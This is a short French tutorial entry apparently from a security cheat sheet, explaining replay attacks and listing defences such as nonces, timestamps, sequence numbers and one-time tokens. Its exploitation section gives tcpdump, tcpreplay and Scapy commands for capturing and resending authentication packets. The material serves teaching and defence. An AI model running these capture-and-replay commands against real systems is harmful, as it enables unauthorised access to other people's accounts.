Replay Attack — Rejouer des paquets capturés

Replay Authentification

Qu'est-ce qu'une attaque par rejeu ?

Une attaque par rejeu (replay attack) consiste à capturer des paquets légitimes (souvent une authentification) et à les renvoyer tels quels plus tard pour obtenir un accès non autorisé, sans avoir besoin de déchiffrer ou comprendre le contenu.

Exemple et exploitation

# Capturer un paquet d authentification
tcpdump -i eth0 -w auth_capture.pcap host target and port 443

# Rejouer le paquet capturé
tcpreplay -i eth0 auth_capture.pcap

# Avec Scapy pour rejouer un paquet spécifique
from scapy.all import *
pkt = rdpcap("auth_capture.pcap")[5]
sendp(pkt, iface="eth0")

Défenses

Nonces (valeurs aléatoires utilisées une seule fois) dans chaque échange · Timestamps avec fenêtre de validité courte · Numéros de séquence incrémentaux vérifiés côté serveur · TLS avec ses mécanismes anti-replay intégrés · Tokens d'authentification à usage unique (OTP)